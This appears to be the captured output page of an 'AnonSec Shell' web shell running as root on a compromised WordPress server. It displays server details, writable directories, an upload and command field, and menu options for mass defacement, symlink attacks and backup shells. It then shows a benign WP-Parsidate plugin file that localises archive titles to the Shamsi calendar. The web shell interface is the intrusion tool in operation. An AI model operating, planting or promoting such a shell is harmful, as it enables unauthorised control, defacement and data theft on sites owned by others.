AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 18.116.86.92   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/wp-parsidate/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/wp-parsidate/includes/fixes-archive.php
<?php

defined( 'ABSPATH' ) or exit( 'No direct script access allowed' );

/**
 * Fixes archives and make them compatible with Shamsi date
 *
 * @package                 WP-Parsidate
 * @subpackage              Fixes/Archives
 * @author                  Mobin Ghasempoor
 */


/**
 * Fixes titles for archives
 *
 * @param string $title Archive title
 * @param string $sep Separator
 * @param string $sep_location Separator location
 *
 * @return                  string New archive title
 */
function wpp_fix_title( $title, $sep = '-', $sep_location = 'right' ) {
	global $persian_month_names, $wp_query, $wpp_settings;

	$query = $wp_query->query;

	if ( ! is_archive() || ! wpp_is_active( 'persian_date' ) ) {
		return $title;
	}

	if ( $sep_location == 'right' ) {
		$query = array_reverse( $query );
	}

	if ( isset( $query['monthnum'] ) ) {
		$query['monthnum'] = $persian_month_names[ intval( $query['monthnum'] ) ];
		$title             = implode( " ", $query ) . " $sep " . get_bloginfo( "name" );
	}

	if ( wpp_is_active( 'conv_page_title' ) ) {
		$title = fix_number( $title );
	}

	return $title;
}

add_filter( 'wp_title', 'wpp_fix_title', PHP_INT_MAX, 2 );
add_filter( 'pre_get_document_title', 'wpp_fix_title', PHP_INT_MAX ); // WP 4.4+

Anon7 - 2022
AnonSec Team